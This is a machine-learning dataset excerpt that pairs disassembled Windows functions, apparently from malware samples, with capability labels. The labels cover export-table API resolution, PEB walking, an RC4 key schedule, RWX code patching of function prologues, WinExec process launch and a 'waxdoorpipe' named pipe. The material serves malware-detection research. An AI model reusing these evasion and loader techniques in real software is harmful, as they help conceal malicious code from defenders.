joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101e9279
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa0
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
mov dword [0x10223ce0], 0x1e9
mov dword [esp], eax
mov dword [esp + 0x2c], ecx
call fcn.101e85d4
lea ecx, [0x101e904d]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x48], edx
mov dword [esp + 0x78], 0x164600
mov edx, dword [0x10223ccc]
mov dword [esp + 0x88], edx
mov edx, dword [0x10223cd0]
mov dword [esp + 0x90], edx
mov edx, dword [0x10223cd4]
mov dword [esp + 0x68], edx
mov edx, dword [0x10223cd8]
mov dword [esp + 0x84], edx
mov edx, dword [0x10223cdc]
mov dword [esp + 0x44], edx
mov dword [0x10223ce0], 0x155e
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
jmp 0x101e93b4
lea eax, [esp + 0x40]
add eax, 0x2c
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x94], ecx
mov dword [0x10223ce0], 0x281
mov dword [0x10223ce4], 0xfffff2c0
mov edx, dword [esp + 0x1c]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], esi
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov dword [eax], ecx
call fcn.101e9b18
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x101e9380
jmp 0x101e93dd
mov dword [0x10223ce4], 0x3430
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x24], eax
jmp 0x101e93b4
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101e887b
mov dword [esp + 0xc], eax
mov eax, esp
lea ecx, [esp + 0x40]
mov dword [eax], ecx
mov eax, dword [esp + 0xc]
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0x10], eax
jmp 0x101e93dd
mov eax, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
jne 0x101e9362
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x1c], ecx
je 0x101e930c
jmp 0x101e9362
mov eax, dword [esp + 0x10]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x101e93e7
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x10223cec], 0
mov byte [0x10223cf0], 0
mov dword [0x10223ce0], 0xa7
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x10223ce8], 0
mov dword [ebp - 0x1c], eax
jmp 0x101e943e
mov eax, dword [0x10223ce0]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x101e9494
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10223ce0]
add eax, 0xfffffa1a
mov dword [0x10223ce4], eax
mov eax, dword [0x10223ce8]
add eax, 1
mov dword [0x10223ce8], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101e943e
mov dword [0x10223ce0], 0x9af
mov eax, 0x9af
xor ecx, ecx
mov dword [0x10223ce8], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [0x10223cf4], 0
mov dword [0x10223ce4], 0x12e5
mov esi, dword [0x10223cec]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + eax]
add ebx, esi
mov dword [ebp - 0x2c], eax
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add ebx, edx
mov dword [0x10223cf4], ebx
mov eax, ebx
cdq
mov ebx, dword [ebp - 0x30]
idiv ebx
mov dword [0x10223cec], edx
add ecx, 0xfffffdd7
mov dword [0x10223ce4], ecx
mov ecx, dword [ebp - 0x2c]
mov cl, byte [edi + ecx]
mov byte [0x10223cf0], cl
mov dword [0x10223ce0], 0xb6f
mov cl, byte [edi + edx]
mov edx, dword [ebp - 0x2c]
mov byte [edi + edx], cl
mov cl, byte [0x10223cf0]
mov edx, dword [0x10223cec]
mov byte [edi + edx], cl
mov edx, dword [0x10223ce8]
add edx, 1
mov dword [0x10223ce8], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101e942e
mov dword [0x10223ce4], 0x2049
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101e9827
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [0x10223ce0], 0x1a9c
mov dword [ebp - 0x10], eax
call fcn.101e8c46
xor ecx, ecx
mov edx, eax
mov dword [0x10223ce0], 0x281
mov esi, dword [eax + 0x3c]
mov esi, dword [eax + esi + 0x78]
mov dword [0x10223ce4], 0xfffff3f2
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x101e98d0
jmp 0x101e98b4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x30]
xor esi, esi
add ecx, 0xfffffd5b
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + eax*4]
mov dword [0x10223ce0], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], esi
jmp 0x101e98db
mov eax, 0x281
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x24]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
jmp 0x101e9886
mov eax, dword [ebp - 0x24]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x44]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x49], bh
mov byte [ebp - 0x4a], cl
je 0x101e992c
mov eax, dword [ebp - 0x48]
add eax, 1
mov cl, byte [ebp - 0x49]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x4a]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x44], eax
jne 0x101e98db
mov al, byte [ebp - 0x4a]
test al, 1
jne 0x101e9973
jmp 0x101e9935
mov eax, dword [ebp - 0x3c]
add eax, 2
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], ecx
xor eax, eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x24], eax
jb 0x101e9886
jmp 0x101e98d0
mov eax, dword [ebp - 0x3c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x10223ce0], 0x94
mov dword [ebp - 0x24], edi
jmp 0x101e98d0
Function at 0x101e9b18
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x38
mov dword [0x10223ce0], 0x128e
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10223ce0], 0x278
mov esi, dword [0x10223ce4]
mov edi, esi
add edi, 0xffffe6f4
add esi, 0xffffee35
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], ecx
jmp 0x101e9bb5
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x2c], eax
jl 0x101e9bb5
jmp 0x101e9bd1
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff8
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2], 0x6c
je 0x101e9c5a
jmp 0x101e9c89
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2], 0
mov edx, dword [ebp - 0x1c]
mov esi, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], esi
jne 0x101e9b74
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [0x10223ce0], ecx
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x30], eax
jne 0x101e9c89
mov dword [0x10223ce0], 0x15d0
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff4
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x38]
cmp word [eax + ecx*2], 0x6f
jne 0x101e9c89
mov dword [0x10223ce0], 0x19fd
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x101e9c89
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x101e9c89
mov dword [0x10223ce0], 0x16f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x101e9b93
jmp 0x101e9c89
mov dword [0x10223ce4], 0x1349
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2 - 0xe], 0x6c
sete dl
mov byte [ebp - 0x39], dl
mov eax, 1
mov cl, byte [ebp - 0x39]
test cl, 1
mov dword [ebp - 0x40], eax
jne 0x101e9c90
jmp 0x101e9c89
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x101e9c90
mov eax, dword [ebp - 0x40]
add esp, 0x38
pop esi
pop edi
pop ebp
ret
Function at 0x10001950
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001976
push 0
push 0
push dword [ebp + 8]
push 0x10001840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc
Function at 0x404f58
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [edi + 5]
push eax
push ebx
call sub.kernel32.dll_VirtualProtect
jmp 0x405065
test edi, edi
jle 0x4051b2
mov ecx, edi
dec ecx
test ecx, ecx
jl 0x4051b2
inc ecx
xor esi, esi
mov eax, ebx
add eax, 5
xor edx, edx
push edx
push eax
mov eax, esi
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0x90
inc esi
dec ecx
jne 0x40507b
jmp 0x4051b2
mov byte [ebx], 0xe9
mov edx, ebx
mov eax, edx
add eax, 5
push eax
mov eax, dword [ebp - 4]
pop ecx
sub eax, ecx
inc edx
mov dword [edx], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
add edi, 5
push edi
push ebx
call sub.kernel32.dll_VirtualProtect
jmp 0x4052d3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40733c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
jmp 0x40745f
xor eax, eax
mov al, byte [ebp - 5]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 4]
cmp byte [edx + eax + 0x40], 0xe9
jne 0x40792f
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.kernel32.dll_VirtualProtect
jmp 0x407590
cmp byte [ebp - 5], 5
je 0x4075a0
cmp byte [ebp - 5], 0xa
jne 0x4076ed
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov edx, dword [edx + eax*4 + 4]
mov eax, dword [ebp - 4]
call fcn.00406d98
mov dword [ebp - 0x10], eax
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
mov byte [eax], 0xb8
jmp 0x4076ca
push 4
lea ecx, [ebp - 0x10]
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov edx, dword [edx + eax*4 + 4]
inc edx
mov eax, dword [0x4121bc]
mov eax, dword [eax]
call fcn.0040409c
jmp 0x40780b
mov dword [ebp - 0x14], 0x4120b4
jmp 0x4077ee
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov edx, dword [edx + eax*4 + 4]
mov eax, dword [0x4121bc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
call fcn.0040409c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.kernel32.dll_VirtualProtect
jmp 0x407929
mov byte [ebp - 6], 1
jmp 0x407933
mov byte [ebp - 6], 0
mov al, byte [ebp - 6]
mov esp, ebp
pop ebp
ret

Function at 0x40793c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
jmp 0x407a62
xor eax, eax
mov al, byte [ebp - 5]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 4]
cmp byte [edx + eax + 0x40], 0xe9
jne 0x407ce8
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.kernel32.dll_VirtualProtect
jmp 0x407b86
push 5
xor eax, eax
mov al, byte [ebp - 5]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 4]
lea ecx, [edx + eax + 0x40]
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov edx, dword [edx + eax*4 + 4]
mov eax, dword [0x4121bc]
mov eax, dword [eax]
call fcn.0040409c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 5
xor eax, eax
mov al, byte [ebp - 5]
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax*4 + 4]
push eax
call sub.kernel32.dll_VirtualProtect
jmp 0x407ce2
mov byte [ebp - 6], 1
jmp 0x407cec
mov byte [ebp - 6], 0
mov al, byte [ebp - 6]
mov esp, ebp
pop ebp
ret
Function at 0x410428
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x41054e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00410931
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xc]
lea edx, [ebp - 8]
mov eax, dword [0x4121c0]
mov eax, dword [eax]
call fcn.00409f78
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x2c
call fcn.00405770
mov edx, eax
lea eax, [ebp - 0x20]
call fcn.00403740
mov edx, dword [ebp - 0x20]
mov eax, dword [0x4121bc]
mov eax, dword [eax]
xor ecx, ecx
call fcn.004041ec
mov eax, dword [ebp - 0x1c]
call fcn.004037e4
mov dword [ebp - 0x18], eax
push 0
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
mov eax, 5
call fcn.00405770
mov edx, eax
lea eax, [ebp - 0x28]
call fcn.00403740
mov edx, dword [ebp - 0x28]
mov eax, dword [0x4121bc]
mov eax, dword [eax]
xor ecx, ecx
call fcn.004041ec
mov eax, dword [ebp - 0x24]
call fcn.004037e4
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x2b
call fcn.00405770
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.00403740
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4121bc]
mov eax, dword [eax]
xor ecx, ecx
call fcn.004041ec
mov eax, dword [ebp - 0x2c]
call fcn.004037e4
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.004109fc
add esp, 0x20
push 1
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410555
lea eax, [ebp - 0x30]
mov edx, 6
call fcn.00403660
ret
Function at 0x410692
Capabilities:
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
push 0x4120f0
push dword [ebp + 8]
call sub.msvcrt.dll_fopen
add esp, 8
mov edi, eax
push 2
push 0
push edi
call sub.msvcrt.dll_fseek
add esp, 0xc
push edi
call sub.msvcrt.dll_ftell
pop ecx
mov esi, eax
push esi
call sub.msvcrt.dll_malloc
pop ecx
mov ebx, eax
push 0
push 0
push edi
call sub.msvcrt.dll_fseek
add esp, 0xc
push edi
push esi
push 1
push ebx
call sub.msvcrt.dll_fread
add esp, 0x10
push edi
call sub.msvcrt.dll_fclose
pop ecx
mov eax, ebx
mov edx, dword [eax + 0x3c]
add edx, ebx
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
movzx edi, word [ecx + 6]
mov eax, dword [eax + 0x3c]
add eax, ebx
add eax, 0xf8
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
push dword [edx + 0x78]
push esi
push edi
push dword [ebp - 0xc]
call fcn.00410654
add esp, 0x10
add eax, ebx
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov dword [ebp - 4], ecx
jmp 0x4107bd
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
push dword [eax + 0x20]
push esi
push edi
push dword [ebp - 0xc]
call fcn.00410654
add esp, 0x10
lea edx, [ebx + eax]
mov ecx, dword [ebp - 4]
push dword [edx + ecx*4]
push esi
push edi
push dword [ebp - 0xc]
call fcn.00410654
add esp, 0x10
add eax, ebx
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
test eax, eax
jne 0x4107ba
mov eax, dword [ebp - 0x10]
push dword [eax + 0x24]
push esi
push edi
push dword [ebp - 0xc]
call fcn.00410654
add esp, 0x10
lea edx, [ebx + eax]
mov ecx, dword [ebp - 4]
movzx eax, word [edx + ecx*2]
push eax
mov edx, dword [ebp - 0x10]
push dword [edx + 0x1c]
push esi
push edi
push dword [ebp - 0xc]
call fcn.00410654
add esp, 0x10
lea ecx, [ebx + eax]
pop eax
push dword [ecx + eax*4]
push esi
push edi
push dword [ebp - 0xc]
call fcn.00410654
add esp, 0x10
mov esi, eax
push ebx
call sub.msvcrt.dll_free
pop ecx
mov eax, esi
jmp 0x4107cc
inc dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + 0x18]
cmp ecx, dword [ebp - 4]
ja 0x41072d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4107d3
Capabilities:
Allocate or change rwx memory
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.004105b8
add esp, 8
mov ebx, eax
test esi, esi
je 0x41088e
test edi, edi
je 0x41088e
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call sub.kernel32.dll_GetModuleFileNameA
push edi
lea edx, [ebp - 0x110]
push edx
call fcn.00410692
add esp, 8
mov edi, eax
cmp edi, 0xffffffff
je 0x41088e
push 0x4120f3
lea ecx, [ebp - 0x110]
push ecx
call sub.msvcrt.dll_fopen
add esp, 8
mov esi, eax
push 0
push edi
push esi
call sub.msvcrt.dll_fseek
add esp, 0xc
push esi
push 5
push 1
lea eax, [ebp - 8]
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
push esi
call sub.msvcrt.dll_fclose
pop ecx
lea edx, [ebp - 0xc]
push edx
push 0x40
push 5
push ebx
call sub.kernel32.dll_VirtualProtect
lea ecx, [ebp - 8]
mov eax, dword [ecx]
mov dword [ebx], eax
mov dl, byte [ebp - 4]
mov byte [ebx + 4], dl
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp - 0xc]
push 5
push ebx
call sub.kernel32.dll_VirtualProtect
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410895
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4108c8
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push ebx
call sub.kernel32.dll_VirtualProtect
mov dword [ebx], 0x8b55ff8b
mov byte [ebx + 4], 0xec
lea edx, [ebp - 4]
push edx
push dword [ebp - 4]
push 5
push ebx
call sub.kernel32.dll_VirtualProtect
pop ebx
pop ecx
pop ebp
ret

Function at 0x4108cc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
test esi, esi
jne 0x4108e5
mov edi, dword fs:[0x30]
mov eax, dword [edi + 8]
ret
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0x1c]
mov dword [ebp - 4], ebx
jmp 0x41090f
push esi
mov eax, dword [ebp - 4]
push dword [eax + 0x20]
call sub.kernel32.dll_lstrcmpiW
test eax, eax
je 0x410918
mov edx, dword [ebp - 4]
mov ecx, dword [edx]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0
jne 0x4108f7
mov edx, dword [ebp - 4]
cmp dword [edx + 8], 0
je 0x410929
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 8]
jmp 0x41092b
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4109fc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 4], eax
xor ebx, ebx
push 0x200
call sub.msvcrt.dll_malloc
pop ecx
mov esi, eax
push 0
push 0
push 0
push 0
push dword [ebp + 0x1c]
call dword [ebp + 8]
mov dword [ebp - 8], eax
push 0
push dword [ebp + 0x24]
push 0
push 0
push dword [ebp + 0x18]
push dword [ebp - 8]
call dword [ebp + 0xc]
mov edi, eax
jmp 0x410a71
push ebx
push dword [ebp - 4]
lea eax, [ebp - 0x208]
push eax
push esi
call fcn.004109cf
add esp, 0x10
add ebx, dword [ebp - 4]
xor edx, edx
mov dword [ebp - 4], edx
lea ecx, [ebx + 0x200]
push ecx
push esi
call sub.msvcrt.dll_realloc
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x200
lea edx, [ebp - 0x208]
push edx
push edi
call dword [ebp + 0x10]
cmp dword [ebp - 4], 0
jne 0x410a43
push edi
call dword [ebp + 0x14]
push dword [ebp - 8]
call dword [ebp + 0x14]
push 0x4121a9
push dword [ebp + 0x20]
call sub.msvcrt.dll_fopen
add esp, 8
mov edi, eax
push edi
push 1
push ebx
push esi
call sub.msvcrt.dll_fwrite
add esp, 0x10
push edi
call sub.msvcrt.dll_fclose
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100012a0
Capabilities:
Access the windows event log
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1f58
call fcn.10002ec0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1f58]
mov dword [ebp - 0x1f50], 0
push eax
push 0x20019
push 0
push str.SOFTWAREWAX
push 0x80000002
mov dword [ebp - 0x1f58], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10001326
lea eax, [ebp - 0x1f54]
mov dword [ebp - 0x1f54], 4
push eax
lea eax, [ebp - 0x1f50]
push eax
push 0
push 0
push str.LOGLEVEL
push dword [ebp - 0x1f58]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x1f58]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 0x1f50], 2
jb 0x100013ae
push esi
push edi
mov ecx, 0x7d0
lea edi, [ebp - 0x1f44]
rep stosd dword es:[edi], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1f44]
push 0xffffffffffffffff
push 0xfa0
push eax
call dword [sym.imp.MSVCR120.dll__vsnwprintf_s]
add esp, 0x14
push str.WAXAgent
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push 0
mov esi, eax
mov dword [ebp - 0x1f48], 0
lea eax, [ebp - 0x1f44]
mov dword [ebp - 0x1f4c], eax
lea eax, [ebp - 0x1f4c]
push eax
push 0
push 1
push 0
push 1
push 0
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
test esi, esi
je 0x100013aa
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000249e
mov esp, ebp
pop ebp
ret

Function at 0x100013c0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push str..pipewaxdoorpipe
mov edi, edx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000141b
push 0x3e8
push str..pipewaxdoorpipe
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000249e
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 8]
push eax
lea eax, [edi + 1]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000144b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000249e
mov esp, ebp
pop ebp
ret
push 0x800
call dword [sym.imp.MSVCR120.dll_malloc]
push 0x800
mov edi, eax
push 0
push edi
call sub.MSVCR120.dll_memset
add esp, 0x10
lea eax, [ebp - 0xc]
push 0
push eax
push 0x800
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
je 0x10001432
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000249e
mov esp, ebp
pop ebp
ret